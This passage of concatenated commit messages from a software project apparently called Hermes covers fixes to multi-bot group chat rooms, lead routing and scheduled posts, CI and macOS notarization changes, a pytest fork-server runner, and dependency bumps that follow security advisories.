  icon actions), RoomMessage rows, typing row and column.
The header divider used the transcript hairline, which vanished on the dark
background; the round strip repeated each member's tool and time that the chip
and typing row already show.
The mock gains groupScripts: E2E tokens keyed on a phrase of the member turn
prompt, so the user message on screen is a natural sentence instead of the
script. The spec shoots in dark theme (THEME=light for the light leg), adds
Reply-in-thread chip, @ picker, details panel and Bots-list row shots, and
opens the Desktop-driven room by answering only the groups.capabilities probe
like a gateway without a room driver (turns stay real), as group-turn-integrity
does.
Keeps LegacyGroupChatWorkspace under its complexity cap after the shared
header and typing row moved in.
CI's e2e typecheck (tsconfig.e2e.json) rejected `nativeTheme.themeSource =
mode` because the ternary widened `scheme` to string.
groups.state member_activity rows now carry the task's thread_id and the 0-based round_index its
Discussion turn id names, so a client scopes outcomes and the round strip to the thread that owns
the task instead of guessing from the newest message (review: "Handoffs show the wrong round").

Retry keeps the task id, so the progress map still held the previous attempt's tool and last-frame
time until the new attempt's first frame; a retry started 120 s after that frame read as stalled.
retry_room_task forgets the entry before requeueing (review: "Retries inherit old progress").
Outcomes and the round strip keyed on the newest user message in the whole room, so posting in
thread B turned a failed member from thread A idle and the strip showed B's round while A worked.
Each turn now counts against its own thread's current discussion, and the round comes from the
live tasks' round_index (the thread being replied in first, else whichever thread works), with
the old guess kept for gateways that send no round_index.

The per-member unavailable signal is turn.deferred with reason member_unavailable; the room-level
member.unavailable names no member and stays a room notice in the history.

The handoff scan was quadratic in the log and re-ran on every poll: it is one pass now, and the
workspace keeps the log array's identity while its length and last seq are unchanged.
publishCanonicalRoomLive had no cleanup, so a room closed while working or awaiting approval kept
that glyph for the session. Each open workspace now holds the entry and the last one to unmount
removes it.

Sending another window's pending intent restored this window's text and files but dropped the
reply, so the next Send started a new thread; the held draft keeps the reply and a reply's thread
must match for two intents to count as the same.

The log follows its content's size while pinned, so approval cards and late image previews that
add no log event stay in view.
groups.send stamps every message from this Desktop as {kind: 'user', id: 'desktop'}, which the
new chat layout printed as the author. That principal with no display name reads 'You' (all 9
plugin locales); every other user keeps its name or id.

The room transcript and composer used --conversation-text-font-size outside the slots styles.css
scales, so they get the same scoped variable. The typing row's native title= becomes the app Tip.
Finding: retry progress keyed by task_id only. Retry keeps the task id, so a
generation-1 info poll that answered after Retry cleared the entry (and after
generation 2 started) repopulated the row, and groups.state reported the new
attempt stalled on the old attempt's progress_at.

Progress entries now carry their execution generation: writes from an older
generation are dropped, reads for another generation return nothing, and
forget (Retry, terminal) leaves a next-generation floor so late writes of the
ended attempt stay out.
Finding: the strip could take a focused queued thread's round while naming
another thread's running bot. roomCycle now picks one owning thread (the
focused one when it runs, else a running thread, else the focused queued
one) and returns its live members; the strip names only those.
Finding: CanonicalGroupHistory filtered every handoff for every event
(O(events x handoffs)); it now groups them by afterSeq once.
Disbanding a group room closes the room view while groups.disband is still
in flight. ConfirmDialog's run() then resumed after its unmount cleanup had
already run and armed the 600 ms close timer with nobody left to clear it;
in CI the timer fired after the jsdom environment was gone and React threw
"window is not defined" (canonical-group-workspace.test.tsx, JS & TS checks).
Skip the done beat once unmounted.
A scheduled job can now deliver to a Bot Mode Group Chat with
`deliver: room:<room_id>[@<profile>]`. The output lands as one message in
the room, labelled with the job's name. It starts a round only for the
members it @mentions (`@all` addresses everyone); without a mention it is
just a message in the room, so a feed of scheduled results never makes
every Bot answer it. Failure notices never start a round. The post is an
ordinary `message.user` event with a server-minted `cron:<job>` actor, so
the existing thread/round machinery and replay stay unchanged and a client
cannot impersonate a job.

Rooms also gain a short purpose and a small shared notes block
(`groups.context`, shown and edited in the room header's Room settings).
Both are rendered at the top of each member's turn prompt, which is the
user-role message, never the system prompt, so prompt caching is
untouched. They are stored as `room.context_set` events in the room log
and read as of the message that opened a discussion: the planner stays a
pure function of the log, and an edit mid-discussion never re-plans a turn
already admitted (it applies from the next message). Rooms without a
purpose keep byte-identical prompts.
The shared-store import copies rooms out of state.db into shared-state.db without deleting the
originals, so for the default profile both stores held the room and the first-match lookup picked
the leftover state.db copy. Nothing serves that copy (the native worker only binds rooms with its
owner entry; the dashboard worker reads shared-state.db), so delivery reported success while the
visible room got nothing and mentioned bots never ran.

The session store now counts only when its gateway holds the room's owner entry
(probe_native_room_owner, read-only and non-blocking like probe_hosted_room); otherwise delivery
falls back to the shared store. The test fixture's room moves to the shared store (where a room
without an owner entry is actually served), plus tests for both-copies and natively-owned rooms.
room_context reads the latest room.context_set event; with only the (room_id, seq) indexes that
walks the room's whole history when a room has no settings (or back to an old one), and Desktop
repeats it through groups.state every two seconds. Add idx_hosted_room_events_kind on
(room_id, kind, seq) and include it in the schema-current check, so existing stores build it on
their next open.
Saving cleared the settings form before the request finished, so notes the backend refused (over
4096 UTF-8 bytes) were lost: reopening loaded the old saved values. The form now closes only once
groups.context succeeds, shows a live byte count against the 4 KB limit and disables Save while
the notes are over it.
The form stays open until `groups.context` succeeds, but its fields stayed
editable: anything typed during the save was discarded when the earlier
save landed and closed the form. Purpose, notes and Save are now disabled
for the duration of the save, and re-enabled with the draft intact when
the save is rejected.
The gateway-owned room view is being redesigned in parallel (header actions,
details panel), so the purpose/notes editor no longer lives inside
canonical-group-header.tsx. canonical-group-room-settings.tsx owns the purpose
line, the Room settings button, its dialog and its own `groups.context` save
(the draft is frozen while a save is in flight and kept when the backend
rejects it). canonical-group-workspace.tsx mounts it with one line; the header
is back to main's.
Review findings on #144833 (P2 + two P3s):
- Scheduled cron posts went into member prompts verbatim while member
  replies had Hermes control-frame openers relabelled ([member-quoted ...]).
  Cron output is agent-written (often a summary of fetched content), so it
  now gets the same relabel; the human's own lines stay byte-identical.
- A cron post that @mentions a member no longer tells it "The user
  directly addressed you": the rule line names the scheduled job.
- A retry of the same run whose output re-rendered differently hit
  EventConflictError on the cron-post id and reported "delivery failed"
  although the first post was in the room; it now returns that post as
  an idempotent (already delivered) result.
Review finding on #144833 (P3, misleading error copy): a room a profile's
own gateway took over leaves only a fenced shared copy, which answered
"This Group Chat is managed by another gateway." with no way forward. The
error now says to deliver to room:<id>@<that profile> (the target Room
settings shows), and an @profile that does not exist says so instead of
falling through to the same misleading refusal.
Greptile "Imported rooms miss scheduled posts": a standalone room the root
gateway imported is fenced in shared-state.db and lives on in the ROOT
home's state.db, but Room settings in a named-profile view advertises
room:<id>@research. The lookup checked only the research store and the
frozen shared copy, so the post failed as "managed by another gateway".
A shared row handed to the gateway store now resolves to the root
gateway's store when that gateway serves it (the same handoff record
tui_gateway/methods_groups_forward routes by).
After the room redesign (#148422) the Room settings control (purpose, shared notes,
deliver: target) mounts in the Group details panel's settings slot, and the Scheduled
chip rides next to the author on the redesigned message row. Pin both: the details
panel shows the purpose and an enabled Room settings button, and only a gateway-minted
`cron:` actor gets the chip (a user whose display name looks like one does not).
In the redesigned room the settings control lives in the Group details aside. Its
header-era layout put the purpose and a ghost "Room settings" link on one row, so the
purpose read as loose text and the control did not look clickable. Caption the purpose
like the panel's other sections, let it wrap (three lines), and give the control the
outline button look.
ci: run macOS arm64 bundle, smoke and install E2E jobs on Blacksmith
test: serve external services from fixtures and fence every off-machine host
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
A room's settings gain `routing: everyone | lead` (+ `lead_member_id`), stored on the same
`room.context_set` event as purpose/notes and read as of the message that opened the
discussion. `everyone` is the default and plans exactly as before.

In a lead room, a human message that opens a new thread and names nobody first runs one
routing turn on the lead's member session. The lead answers `{"assign": [handles]}`; the
gateway validates the handles against the roster and appends a gateway-authored
`room.assignment` event, and only those members take the normal round (with a line in their
prompt that the lead gave them the message). An answer naming no member, @all, or a failed
routing turn wakes the lead alone; a routing answer can never broadcast. @mentions,
@all/@everyone, scheduled posts and thread replies keep today's resolution.

The routing turn is an ordinary driver task whose seen_through_seq is the message's seq
minus one (a member turn always sees through its opening message), so it is identifiable
from durable state, its receipt never advances the lead's watermark past the message, and
it is excluded from the round-0 terminal set so a lead that picks itself still answers.
Its answer is published as the assignment, never as a visible reply.

Desktop: canonical-group-lead.tsx holds the Room settings control (Everyone answers /
Lead: <member>), the "Ada gave this to Linus, Grace" row, and markRoomLead() so the
member chips can show a Lead badge; the history mounts the row with one line.
A member turn whose frozen input or attachment batch stops below its
source message also has seen_through_seq < source_event_seq, so
is_routing_task classified it as a lead routing turn: plan_publication
replaced its real reply with "(pass)" and wrote a bogus room.assignment.
That dropped replies in everyone-mode rooms (the default) whenever a
turn was batch-bounded (test_member_recipients_and_bounded_batches_
preserve_unconsumed_files).

The routing turn now carries payload lead_routing: true, set only by
_lead_round and hashed into its task id. The driver accepts the field
only as exactly true; reconstruct_task_plan rebuilds it and rejects it
unless the turn_id has the routing coordinates (round 0, position 0,
seen = source - 1, no frozen input or files), so neither a stripped nor
a forged flag survives restart. Tasks without the field are ordinary
member turns.
Review finding on #148417 (P3, parse_assignment greedy regex): the DOTALL
`\{.*\}` spanned from the answer's object to the last brace in the lead's
prose (`Pick: {"assign": ["linus"]} (see {notes})`), failed to parse, and
the lead took the message alone. The parser now raw-decodes from each `{`
and uses the first balanced JSON object that carries an `assign` key.
Review finding on #148417 (P3, cancelled routing turn still wakes the
lead): the behaviour is kept and the assignment_effect docstring, which
said a cancelled routing turn "assigns nothing", now says what happens.
Discard gives up one indeterminate attempt, not the user's message: a
discarded member turn in an everyone room leaves the rest of the round
running, and the routing answer is never a visible reply, so settling the
discussion instead would leave the message unanswered with nothing shown.
Stop already ends the round through the stop fence. A test pins it: no
room.assignment, the lead answers once, the discussion settles.
Review finding on #148417 (P3, set_room_context reads routing outside the
append transaction): an older client's purpose-only save that read the
routing before a concurrent routing change committed wrote the old
routing back. append_event now accepts a payload function evaluated on
the write-locked connection (after BEGIN IMMEDIATE), and set_room_context
resolves omitted routing fields there. Two-thread test holds the older
save right after its read: red before (routing restored to lead), green
after (the routing change waits for the lock and wins).
Greptile "Notes saves undo routing" (follow-up): the omitted routing
fields were resolved from the current room state even when the event id
already existed, so retrying a notes-only save after another client
enabled a lead re-rendered a different payload and failed as a
conflict. Inside the same write transaction, an existing event for the
id now supplies the omitted fields, so the retry is idempotent; a
different save under that id still conflicts.
Greptile "Routing overlooks attached files": the routing prompt carried
only the message text, so an attachment-only message gave the lead an
empty line to route on. The prompt now lists each attachment's name,
kind and MIME type; the files themselves still go only to the member
who takes the message.
Greptile "Lead choice collides with Everyone": the routing select used
the bare member id as each lead option's value, and `everyone` is a
reserved handle, not a reserved member id, so a member with that id
duplicated the Everyone option and choosing it saved everyone routing.
Member options are now encoded as `member:<id>`.
Review finding (P2, hosted_room_context.py): a room.context_set event saved by
#144833 carries only purpose and notes, so retrying it under the same event_id
raised KeyError 'routing'. The retry now resolves omitted fields against that
event with defaults and compares in the event's own schema: a field still at
its default is left out, so the same save is idempotent, while asking for a
lead under that id is still a payload conflict.
Review finding (P2, hosted_room_discussion.py _lead_round/plan_next_task): the
planner re-mints the routing task on every replay to find its receipt, and the
routing task id hashed its prompt, which names the room and roster. A rename
between routing and the answer re-minted a different id: the routing receipt
then counted as the lead's own round-0 turn (a lead that assigned itself
settled silent_round) or, after a discarded routing turn, queued a second
routing turn. A routing task's id now hashes its durable coordinates and the
lead_routing flag, never its prompt text; member turns still hash their prompt.
The redesigned room header (#148422) already renders a Lead badge for a member
flagged `lead`, and canonical-group-lead.tsx already derives that flag from the
room's routing (markRoomLead), but nothing connected them. The room view now
passes the marked roster to the header, so a lead-routed room shows who the lead is.
docs(ci): document every workflow's triggers, skips and release paths
The reopened-pane test builds a status that started 125 s ago and expects
"2:05 elapsed". Both that status and the pane's elapsed clock read the real
Date, so a runner pause of a second or more between the two showed
"2:06 elapsed" and failed the test. Fake Date at a fixed time alongside the
intervals; advancing the fake timers still moves the clock.
The status route read the Start record after access_status(), whose gateway
control-socket round trip can outlast the Start's last step. A second window
then got the pre-Start config with no Start in flight and showed Stopped with
Start enabled until its next refetch. Read the record before the round trip.

Reported by yoniebans in review of #148408.
feat(desktop): Web Access Start shows its step and elapsed time
Intel Macs are unsupported on main: the macos-intel release lane is off
by default (scripts/releases/lanes.py). Run the TCP workaround only on
the darwin-arm64 jobs. The darwin-x64 jobs share the step list, so they
now skip it.

The probe in run 41655949959 had already shown that arm64 needs the
workaround. Without the rule, 3 of 63 arm64 staples failed with Error
68 / -1005. With it, 60 of 60 worked.
Incomplete-response errors now carry the validated Anthropic request ID,
so an HTTP 200 stream cut by a connection reset can be traced upstream.
pm-bundle loses its darwin-x64 (macos-15-intel) leg. The desktop bundle smoke
and the install-e2e packaged arm always run on Apple Silicon; darwin/x64 is no
longer an accepted smoke target.
Remove the darwin-x64 build, receipt and smoke jobs from Desktop Bundled
Release and the candidates/transitions/packaged-x64 jobs from Stable Release,
with the release scripts that required them: the macos-intel lane, the
darwin-x64 job group, the x64 macOS target in candidate/channel manifests and
the two-leg macOS feed merge. The macOS updater feed is arm64-only.

Pre-lanes claims still read: the published ones all carry
includeMacosIntel:false; a claim with true is now refused.
The staple-retry test spawned eight `node -e` children under vitest's
5 s default timeout. On a loaded Mac it timed out in review (5,012 ms).
On a 20-core Linux host it took about 0.2 s idle and about 3 s at load
average 144.

The first dropped connection still goes through a real child process.
That proves the hook reads stapler's exit 68 and its output. The other
five drops and the two missing-ticket replies are thrown directly, as
the outage test already does. Under the same load the test now takes
about 0.5 s, and about 40 ms idle. It still fails against main's hook.
Stapling starts only after Apple has accepted the app. Until now a
dropped connection there could retry for whatever was left of the
four-hour notarization budget, holding the runner for hours on a
network path that main gave up on within a minute. The host-unreachable
codes (-1003, -1004, -1009) usually mean the runner's own network is
broken, not that Apple is down.

Lost contact while stapling now retries for up to 45 minutes, or for
what is left of the notarization budget when that is shorter. 45
minutes is about twice the outage the 2026-11-03 canary ran into. The
wait for Apple's verdict keeps the full budget.

The staple loop also checks LOST_CONTACT before it counts a retry. A
ticket that is still missing after its five retries now throws inside
its own branch, instead of falling through to the lost-contact check.

The outage test now covers both limits, an acceptance at t=0 and one
10 minutes before the budget ends. It fails on the previous head, which
retried for about 4 h, and the second case fails if the Math.min is
removed.
The missing-ticket retries used their own delay table, which matched
the first five lost-contact pauses. They now call contactDelay(), with
a limit of five. A ticket that never propagates still gets 6 staples,
the same pauses (15, 30, 60, 120 and 120 s) and the same error.

The LOST_CONTACT comment now says which codes point at the runner's own
network (-1003, -1004, -1006, -1009) rather than at Apple.

The older resume test's local `timeoutOutput` copied `notaryTimeout`,
apart from `_kCFStreamErrorDomainKey` (1 rather than 4, the value in
the canary log). The test now uses `notaryTimeout`.
The rule rejects outbound UDP 443 for every process for the rest of the
job, not only stapler: notarytool and the build's downloads and
uploads fall back to TCP too. Rename the step to "Disable QUIC (UDP
443) for the rest of the job" and say so in its comment.
Moves the ui-tui direct pin and the root undici@^6/@^7 overrides, plus
the photon sidecar's direct pin and override, to the patched releases
in each line. Both were published 2026-10-15, past the 14-day npm
release-age gate.

Advisories: GHSA-2m5v-pch6-74hx, GHSA-4qv8-2p9j-2685,
GHSA-4w7w-5xrc-9h26, GHSA-55wc-3pg8-jfw6, GHSA-9fm3-97px-rjf6,
GHSA-f72v-6w45-q472, GHSA-qrxm-fqhp-jwvm, GHSA-xjj6-f33q-929c
Moves the tests-js direct pin (which the root lock hoists for
@assistant-ui/react and eslint-plugin-react-hooks) and the photon
sidecar's transitive copy from 4.6.5 to 4.6.7, the newest 4.6 patch.
4.6.7 was published 2026-10-12, past the 14-day npm release-age gate.

Advisory: GHSA-mrhx-c7xc-m3w5
Moves the transitive fast-uri copy (via ajv) in the root and website
locks from 3.1.8 to 3.1.9, within ajv's ^3.0.1 range. 3.1.9 was
published 2026-10-19, past the 14-day npm release-age gate.

Advisories: GHSA-333x-w4r6-6crp, GHSA-w74x-v6f9-j3xg,
GHSA-wjr9-j795-jxcr, GHSA-xhq7-xmqj-769h
Moves the transitive qs copy (via express and body-parser, both ~6.16.0)
in the website and whatsapp-bridge locks from 6.16.0 to 6.16.1.
6.16.2 is still inside the 14-day npm release-age gate (published
2026-10-27); 6.16.1 (2026-10-14) clears it and fixes the advisory.

Advisory: GHSA-6pq8-jhm2-2vcw
Moves the documents extra pin from 6.21.2 to 6.21.4 and relocks (only
pypdf moves). The four document skills that stage the same pin set in
their side environment move with it so they install the patched
release. 6.21.4 was published 2026-10-28, past the 3-day release-age
check.

Advisories: GHSA-42gh-23hr-vphw, GHSA-4vqv-7265-gm2w,
GHSA-5849-834g-hvw5, GHSA-62m5-6wh8-28x7, GHSA-cggf-277g-3q54,
GHSA-mfr5-77xh-9j7h, GHSA-x3rh-gjgm-fmqc
Moves the google extra pin and the Google Chat staleness probe
(_REQUIRED_PACKAGES) from 0.6.4 to 0.6.5 so a half-synced interpreter
is repaired onto the patched release. pyasn1-modules 0.4.2 allows
<0.7.0. 0.6.5 was published 2026-10-27, past the 3-day release-age
check.

Advisories: GHSA-2qm8-x737-gmw5, GHSA-9m75-vc3g-4x39,
GHSA-fm9c-5rcf-2q5p, GHSA-mm57-4v3p-rchx
Moves the transitive tornado copy (python-telegram-bot[webhooks],
tornado~=6.5) from 6.5.10 to 6.6 with a targeted relock; nothing else
moves. 6.6 was published 2026-10-21, past the 3-day release-age check.

Advisories: GHSA-pcg2-g6cj-q92c, GHSA-pw9p-v7r6-gx4p,
GHSA-r4j5-9xpp-3985
Moves the transitive filelock copy (torch: filelock; huggingface-hub:
filelock>=3.10.0) from 3.32.7 to 4.2.6 with a targeted relock; nothing
else moves. 4.2.6 is the newest release past the 3-day release-age
check (published 2026-10-31; 4.2.7 is still held back).

This is a major bump. The only 4.0 break is SoftReadWriteLock's
on-disk protocol (old and new processes on one lock path do not
exclude each other). No consumer uses SoftReadWriteLock:
huggingface-hub 1.33.0 uses FileLock, SoftFileLock, BaseFileLock and
Timeout; torch subclasses FileLock (torch/utils/_filelock.py); Hermes's
own test conftest uses FileLock.

Advisories: GHSA-567q-5qvw-pf92, GHSA-6627-m3xw-93mp,
GHSA-69hj-f68j-2879, GHSA-8mx5-7m5m-r77g, GHSA-9c4x-gm8v-wgc4,
GHSA-9j6q-wvj5-jgjg, GHSA-9vhv-jxww-xfm5, GHSA-cwqr-hh33-gh44,
GHSA-fq56-3cx3-fjxp, GHSA-j8f7-rjxc-mr56, GHSA-m462-7rxw-wvpg,
GHSA-rfpc-qcw5-3pc4, GHSA-v4x8-3wr5-3wq8
Moves every setuptools pin from 83.0.0 to 84.1.0 together: the dev
group, [build-system].requires, and the Termux toolchain and
deb-wheelhouse pins (scripts/termux), so source builds, the lock and
the Termux payload keep using one version. Only setuptools moves in the
relock. 84.1.0 was published 2026-10-19, past the 3-day release-age
check.

This is a major bump. 84.0's removals are distutils compiler internals
(Compiler.spawn shims, exception classes, LooseVersion in
CygwinCCompiler). Hermes's setup.py and the setuptools.build_meta
backend use none of them.

Advisory: GHSA-xmj3-9gf7-h52w
The pypdf bump moved the pin in four SKILL.md files; the generated
website pages still carried 6.21.2, failing the docs-site check that
website/scripts/generate-skill-docs.py output matches the committed
docs.
The packaged arm now always runs on Apple Silicon, but install-e2e still
forwards the arch a supplied manifest names. Reject anything but arm64 as the
job's first step, and make the driver require a host-native package so a
direct run cannot fall through to Rosetta either.
Under the runner's fork server a test process descends from the runner and
the fork server, not from a python -m pytest process, so the live-DB guard's
ancestry fallback found no pytest above a child with a scrubbed environment
(tests/hermes_state/test_live_db_guard_ancestry.py). The runner only runs
pytest; recognise it too.
A fresh python -m pytest <file> spends about half a second starting the
interpreter and importing pytest and the third-party libraries nearly every
test file loads; over ~7000 files that is most of an hour of CPU per run.
With HERMES_TEST_FORKSERVER=1 (Linux CI) the runner starts one
multiprocessing fork server that imports those once and forks a child per
file. Each child still starts from a clean state: its own session, the
file's environment, python -m pytest's sys.path and argv, combined output and
pytest's exit code. Product code and tests/conftest.py are never preloaded.
'a stalled completion banner is capped' held the wait past the real-clock
SOURCE_COMPLETION_GRACE_MS (5 minutes) to see the cap fire, so it was 300 of
the 302 seconds the electron vitest project takes and the long pole of the
JS & TS checks job. waitForDashboardPort takes the grace as an optional last
argument (production keeps the default); the test passes 50ms. Added with
the grace in #128446.
The hosted Windows images point PowerShell at a shared module analysis cache,
which the job's earlier PowerShell steps (the ARM64 build-deps setup) warm.
run_tests.sh starts the suite from env -i and did not forward the variable, so
every powershell.exe a test spawned fell back to a cold per-user cache and
re-analysed every installed module (Az, AWS, Graph): about 22s per launch on the
arm64 runners. The three slowest Windows files (150-167s each) were almost all
that wait.
The pool starts files in submission order, which was path order, so a slow
file late in the alphabet (tests/tui_gateway, ~40s each) ran alone at the end
of a slice while the other workers sat idle. Submit by cached duration,
longest first; the cache is already restored on CI for the timeout scaler.
Drives run_tests_fork_child.run from a stand-in server that has its own
variable and has already asked gettempdir(). Without os.environ.clear() or the
tempfile.tempdir reset, the probe file fails.
A file can pass every test and still exit non-zero. Its failure dump showed
only the green pytest summary, so the cause (an exit-time hook, a status set in
sessionfinish, a signal) had to be rediscovered by rerunning the whole suite.
Append the child's exit status to the captured output.
multiprocessing's Process.start() polls every live child
(multiprocessing.process._cleanup). With the fork server, a child's exit
status is 8 bytes the server writes once on the child's status pipe. When a
worker thread starting the next file polled a child at the moment that child's
own thread called join(), one read got the status and the other got EOF, which
multiprocessing reports as exit status 255. A green file then failed with no
error (CI: tests/agent/test_openrouter_silent_default_purge.py, 5 passed, exit
255). Stress repro: 283 of 3000 children reported 255; 0 with this change.

Wait on the sentinel without reading, then join and read exitcode while holding
the lock that also serialises start().
Git for Windows ships etc/mtab as a Cygwin system-file symlink, and PM's digest
covers those 38 bytes. @actions/cache restores the PM store with Git's MSYS tar
under MSYS=winsymlinks:nativestrict, which writes a symlink to a non-Windows
target (/proc/mounts) as a WSL reparse point (tag 0xa000001d). Python cannot
open that, tree_digest raised, PM's verification of the cached Git entry
failed, and every Windows job re-extracted the 56 MiB PortableGit archive.

Before PM verifies the store, recreate each WSL symlink with Git's own ln under
winsymlinks:sys. PM's check still decides whether the entry is intact.
Forwarding PSModuleAnalysisCachePath only helps when something already warmed
the cache. Whether the ARM64 build-deps step did depended on how long its
PowerShell stayed up: PowerShell writes the analysis from a timer ~10s after it
runs (AnalysisCache.QueueSerialization), so a process that exits right after
its first cmdlet never saves it. On runs where build-deps finished fast the
cache stayed cold and every PowerShell child a test spawned paid ~22s again
(arm64 test step 206-259s instead of ~130-150s).

Warm it explicitly from a cmd step and stay up until the cache file is
rewritten: ~39s when cold, ~1s when warm. Forced-cold check: a child launched
afterwards started in 0.4s and the test steps ran in 137/146s.
main() is over the code-health ratchet's complexity and length budgets, and
starting the fork server there grew both. The first file now starts it under
the fork lock, before it copies os.environ, so the knob still never reaches a
test. Also: a timeout on the sys.path probe (HX006), a utf-8-sig read of the
child's output file, an unquoted annotation (UP037), and the Linux-only setsid
marked for the Windows footgun check.
The ancestry guard matched run_tests_parallel.py against every argv token's
basename, so a process that merely named the file looked like a test run:
'hermes chat -q "fix the timeout in scripts/run_tests_parallel.py"' or
'nvim scripts/run_tests_parallel.py', and every hermes their descendants start
would then refuse the production state.db. Only the script a Python
interpreter runs counts now.
Under the fork server multiprocessing still saw each file as the server's
child: current_process() was ForkServerProcess-N with a parent, every file
after the first inherited the runner's /tmp/pymp-* temp dir, and __main__ was
this runner, re-run in every child as __mp_main__ (~7-20ms per file). A
test's own Process, Pool or spawn context now sees what python -m pytest gives
it: a parentless MainProcess, a temp dir under its TMPDIR, and pytest as
__main__ and __mp_main__; the server preloads the runner once. The fork probe
compares these against a fresh pytest process, from the server's second child.

Also from review: run_tests_fork_child.run takes keyword arguments and one
argv; the start-under-lock is one helper the race test calls, and the test
starts 2000 children (unlocked, ~1 status in 400 comes back 255), so dropping
either lock fails it; kill() leaves a reaped pid alone; the output file is
removed when start() fails; the exit-status note skips exit 1 (tests failed,
already reported) and crashes; the 2.0s default duration is one constant; the
new tests reuse the file's runner helpers. The docstring records the gap left:
a daemon a test forks without exec escapes the leftover sweep.
Review: the fork mode spread its server state, lock, process creation and
process-group rules through the runner, so _run_one_file_once had to know that
a forked child calls setsid() while a subprocess needs getpgid(). The runner
now calls start_pytest() and gets the process and its group back; the fork
server, its lock and the Popen shim live with it. Behaviour is unchanged.

classify_changes lists the launch module and the fork child as test harness
next to run_tests_parallel.py, so editing either starts the lanes a runner
edit starts (the fork child was missing since it was added).
Review: the fork probe compared multiprocessing names and fields but never
started a worker from inside the forked file, which is what
_become_main_process() exists for. The probe now runs a spawn Pool and a
default-context Pool and compares each worker's result, TMPDIR and
gettempdir() with the subprocess run.
Review: if the cache file was never rewritten within the 20s wait, the step
still printed 'module analysis cache ready'. It now prints a warning with the
cache path instead; still non-fatal.
Mutation check: with start_pytest returning no process group for a forked
child, every fork test still passed, because the hang probe had no
grandchild and the leftover sweep finds processes by their temp root. The
probe now starts a grandchild without that root in its env, which only the
group kill can reach, and the test asserts it is gone.
Review (BearHuddleston): _run_one_file_once copies os.environ before it calls
start_pytest(), which is where the first file pops the knob. So the first
file, and any others in the opening wave, still carried it: 1-3 files of 200
at -j 32 in every run. A test that starts the runner or run_tests.sh from one
of those files would silently run its nested suite under the fork server,
and _longest_first now puts the slowest cached files, the runner's own tests
among them, at the front of each slice.

start_pytest drops the knob from every file's env, on both launch paths. The
parity probe's first file asserts the knob is absent (it saw '' before), and a
24-file opening wave at -j 12 asserts no file sees it.
Review (c2h5oh): the stalled-banner test passes undefined, undefined, 50 and
the meaning was hard to read off the call. waitForDashboardPort now documents
every parameter, and the test names its timeout and grace values.
fix(desktop): keep notarizing through dropped connections to Apple
Moves the transitive body-parser copy (express ~1.20.5) from 1.20.8 to
1.20.9 in the website lock, and the whatsapp-bridge override pin that
holds it there. 1.20.9 was published 2026-10-22, inside the website's
14-day npm release-age gate, so website/.npmrc gets a dated
min-release-age-exclude entry. Remove it once 1.20.9 clears the gate
(2026-11-05). whatsapp-bridge has no release-age gate.

Advisory: GHSA-27r3-jxmh-p828 (high, DoS via trailing bytes after a
compressed body)
fix(deps): clear release-age-eligible security alerts (undici, zod, fast-uri, qs, pypdf, pyasn1, tornado, filelock, setuptools)
The SDK compares the RFC 8414 issuer as an exact string, but the advertised
identifier and the document keep their own spellings of a host-only server:
str(AnyHttpUrl) carries the root-path slash while the document preserves the
operator's spelling, so Otter.ai's https://otter.ai document was rejected
against the https://otter.ai/ expected value and discovery never completed
(#132233).

Accept the document through the existing metadata shim when the two sides
differ only by trailing slashes — the convention _metadata_issuer, the
refresh-token issuer binding and the device flow already apply. Any other
difference (another origin, port, or path) still fails the SDK's exact-string
check.
Otter.ai's protected-resource document advertises https://otter.ai/ while its
RFC 8414 document names https://otter.ai; the SDK applies its own root-slash
equivalence (issuers_match) only on the legacy no-PRM path, so the PRM path
rejected the pair (#132233).

Narrow the contributor's matcher to that SDK rule instead of stripping every
trailing slash: path-scoped variants (https://h/as/ vs https://h/as) and
doubled slashes stay rejected, as the SDK rejects them. Step in only when the
spellings differ, so ordinary servers keep the SDK's own issuer check and no
longer log a false "differs by trailing slashes" line. One log statement for
both accepted shapes.

Tests move into test_mcp_oauth_issuer_origin.py, reusing its stand-in: the
real Otter pair and its mirror complete the flow (red on main), and a
path-scoped slash variant is still rejected (red on the original matcher).
ci: remove the Intel macOS CI and release legs
(cherry picked from commit 334857da02a69b2b48c99e48a659a9d2d783c0fb)
The public dial picked its wire inside the per-subscriber delivery wrapper,
so the switch ran once per listener and only ever turned canonical on. One
shared listener now reads gateway.ready's session_authority before any
subscriber runs; a native dial stays canonical by provenance.

A request made before readiness waited outside its own timeout and abort
signal, then spent its full budget again on the legacy path. The wait now
runs inside the request's deadline and signal, and the legacy request gets
only the remaining budget.

Carries the create, submit, model-mutation and incoming-profile regression
from the sibling desktop fix, plus abort and deadline regressions for a
request still waiting for readiness.

Co-authored-by: nthieuu205z <229157293+nthieuu205z@users.noreply.github.com>
State handlers run over a live set, so a closed-handler redial registers the
next dial's state listener while the previous socket's `closed` is still being
dispatched. That stale close rejected the replacement's readiness and
invalidated the healthy new socket. Guarding on the live state alone then let
the superseded dial ignore its own close and resolve on the replacement's
gateway.ready.

Each dial now settles only from its own generation: a close ends a dial that
is superseded or whose transport is really closed, and only the current
generation's gateway.ready resolves it.
The gateway always sends gateway.ready as its first frame after accept, and a
public dial now waits for it to choose its wire. The shared fake socket and
the background-reconnect fixture never sent it, so every remote boot and
reconnect test waited out the readiness timeout. Both now send a legacy
(empty) gateway.ready on open, keeping those tests on the wire they were
written for.

Two assertions that listed every frame now ignore the connection-level
ready frame and the client.capabilities handshake it triggers.
A public dial's readiness promise rejected from the state handler while the
socket's close was still dispatching, before the transport's own rejection
settled, so connect() reported "disconnected before protocol readiness" for a
dial that never opened and the classed connect error (#41566) was lost. The
rejected readiness also stayed in place until the next connect(), so every
request answered with it instead of "not connected", which the request
layer's reconnect and the connectors' retry key on.

Fail the current dial from the state handler only after its transport has
opened, and answer a waiting request whose readiness failed with
GATEWAY_NOT_CONNECTED_MESSAGE.
Readiness was a per-dial promise with three per-dial listeners whose
ordering depended on the live state-handler set, five ad-hoc error texts,
and a rejection that outlived its socket. Review found the results:

- After the 30 s readiness timer closed the socket, every request until
  the next connect() rejected "protocol readiness timed out", which
  neither isGatewayTransportError nor retryWhileConnecting matches, so
  no reconnect or connector retry ran.
- A peer that opens but never sends gateway.ready was published `open`
  for 30 s, past RECONNECT_STABLE_OPEN_MS, so both reconnect ladders
  counted each cycle as a stable open: no backoff, and a backend-drop
  notice every cycle.
- Closed-before-ready had two texts depending on who closed it.
- A second gateway.ready on the same socket re-selected the wire.

Now each dial gets one readiness record, settled by two listeners the
constructor registers first (gateway.ready and transport state), so a
subscriber's closed-handler redial always starts after the old dial has
failed:

- connect() awaits the transport, then readiness: a dial that never
  opened rejects with the transport's own classed error (#41566).
